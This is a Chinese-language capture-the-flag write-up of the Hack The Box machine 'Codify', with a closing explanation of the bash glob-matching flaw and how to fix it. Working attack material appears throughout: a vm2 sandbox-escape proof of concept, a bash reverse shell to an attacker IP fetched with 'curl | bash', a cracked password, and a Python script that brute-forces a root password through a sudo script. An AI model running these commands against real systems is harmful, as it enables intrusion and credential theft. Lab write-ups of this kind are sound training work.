Hack The Box - Codify
做HTB的三板斧就是信息收集、EXP、提权。
首先是信息收集
nmap -Pn -T4 -A -p- 10.10.11.239
Nmap scan report for 10.10.11.239
Host is up (0.45s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96071cc6773e07a0cc6f2419744d570b (ECDSA)
|_ 256 0ba4c0cfe23b95aef6f5df7d0c88d6ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Codify
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=12/30%OT=22%CT=1%CU=34198%PV=Y%DS=2%DC=T%G=Y%TM=65900B
OS:6B%P=i686-pc-windows-windows)SEQ(SP=105%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=
OS:A)SEQ(CI=Z%II=I)OPS(O1=M54EST11NW7%O2=M54EST11NW7%O3=M54ENNT11NW7%O4=M54
OS:EST11NW7%O5=M54EST11NW7%O6=M54EST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%
OS:W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54ENNSNW7%CC=Y%Q=)T1(R=Y%DF=
OS:Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y
OS:%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%R
OS:D=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)I
OS:E(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 199/tcp)
HOP RTT ADDRESS
1 283.00 ms 10.10.16.1
2 575.00 ms 10.10.11.239
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2026.30 seconds
//hosts文件
10.10.11.239 codify.htb
利用以上命令将shell写入或者连接到系统当中,翻找了一下,这些命令没有任何调用。
再看About里面写了使用VM2沙箱,也许这是一个突破口,尝试一下。
CVE-2023-37466不太行,CVE-2023-32314可以。
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("echo hacked").toString(); // -> echo hacker 命令注入点
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code)); // -> hacked
shell.sh文件内容
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.16.23/4444 0>&1'
ncat -nlvp 4444
python -m http.server
curl http://10.10.16.23:8000/shell.sh | bash #POC命令,注意python简易http服务端口和文件名
webshell提权只有一招“敏感文件”包括但不限于配置文件撞库,计划任务等。
在/var/www/contact目录下找到账号以及加密密码,用hashcat破解一下。
把hash值写入到HTB.txt当中
hashcat -m 3200 HTB.txt .\rockyou.txt -O
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1
得到用户名和密码 joshua / spongebob1,然后用SSH连接主机,得到user用户的flag。
a4fcf8acf01cb0bcfe52aa7b3d7fd6ca
然后是提权到root权限,用sudo -l 查看一下sudo的可用命令。
查看一下权限,可以看到其他的用户和组用户的权限只有执行和读取的权限。
运行了脚本提示输入mysql密码才能运行,所以现在要找一下mysql的密码。
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds) #读取密码 明文
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then #模糊匹配读取的密码和输入的密码
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
首先尝试一下能不能直接读取密码文件。
然后尝试了模糊匹配,然是没有匹配疑惑了好久,也试了好久,不知道是不是脚本的问题,只有用脚本输入才有正常返回,正常手工输入是没有正常返回值的,看图就明白了。
poc.py
import string
import subprocess
all = list(string.ascii_letters + string.digits) # 创建包含所有字母和数字的字符列表
password = "" # 初始化密码为空字符串
found = False # 初始化 found 变量为 False,表示密码尚未找到
while not found:
for character in all:
# 构建要执行的命令
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
# 使用 subprocess.run 执行命令,并获取标准输出
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
# 如果输出包含 "Password confirmed!" 字符串,表示密码中的字符是正确的
if "Password confirmed!" in output:
password += character # 将当前字符添加到密码中
print(password) # 打印当前破解出的密码
break # 跳出字符循环,继续下一个字符的尝试
else:
found = True # 如果 for 循环正常结束,表示已找到密码的所有字符
# 循环结束后,输出找到的密码
print("Found Password:", password)
得到密码,然后su - root 切换到root环境,得到root的flag
7d478fc000f937af64e98cd77709f78d
因为在模糊匹配的地方卡住了,然后看了其他的人的HTB攻略所以当作参考信息写在下方:
[HackTheBox Write-Up: Codify] - [简单] (maddevs.io)
hackthebox-Codify - jtmqd - 博客园 (cnblogs.com)
hackthebox-Codify - jtmqd - 博客园 (cnblogs.com)
【渗透测试】Codify - HackTheBox,Node.js沙盒_codify.htb-CSDN博客
HackTheBox-Machines--Codify_hackthebox的codify-CSDN博客
HTB Codify - kw13t - 博客园 (cnblogs.com)
HTB-Codify-CSDN博客
PS:关于模糊匹配的问题
问题解释
在 Bash 脚本中,当您使用 [[ $DB_PASS == $USER_PASS ]]
这样的表达式时,如果 $USER_PASS
包含像 *
或 ?
这样的通配符,Bash 会将其视为一个匹配模式,而不是一个固定的字符串。这意味着如果 $DB_PASS
与该模式相匹配,即使 $USER_PASS
并不是真正的密码,比较也会成功。
示例
假设实际的数据库密码($DB_PASS
)是 password123
。根据您脚本的逻辑,用户需要输入这个密码才能继续执行脚本。
但是,如果用户输入的密码($USER_PASS
)是 *
,在 Bash 中这会被视为一个匹配任何字符串的模式。因此,[[ $DB_PASS == $USER_PASS ]]
的结果将是 true
,即使用户并没有输入正确的密码。
这就造成了一个安全漏洞,因为通过输入一个简单的 *
,不知道实际密码的用户也能通过验证。
安全建议
为了避免这种情况,您应该使用另一种比较方法,确保进行的是字面上的字符串比较,而不是模式匹配。一种简单的方法是使用 =
而不是 ==
在 [[ ]]
中进行比较,或者使用 [[ $DB_PASS = $USER_PASS ]]
。还有一种更安全的方法是使用 Bash 的 [[ $DB_PASS == "$USER_PASS" ]]
,通过引号来确保 $USER_PASS
被当作字面字符串处理,而不是模式。
shellharden/how_to_do_things_safely_in_bash.md 在 master ·肛门/壳硬化 (github.com)文章来源:https://www.toymoban.com/news/detail-767299.html
文章来源地址https://www.toymoban.com/news/detail-767299.html
到了这里,关于Hack The Box - Codify的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!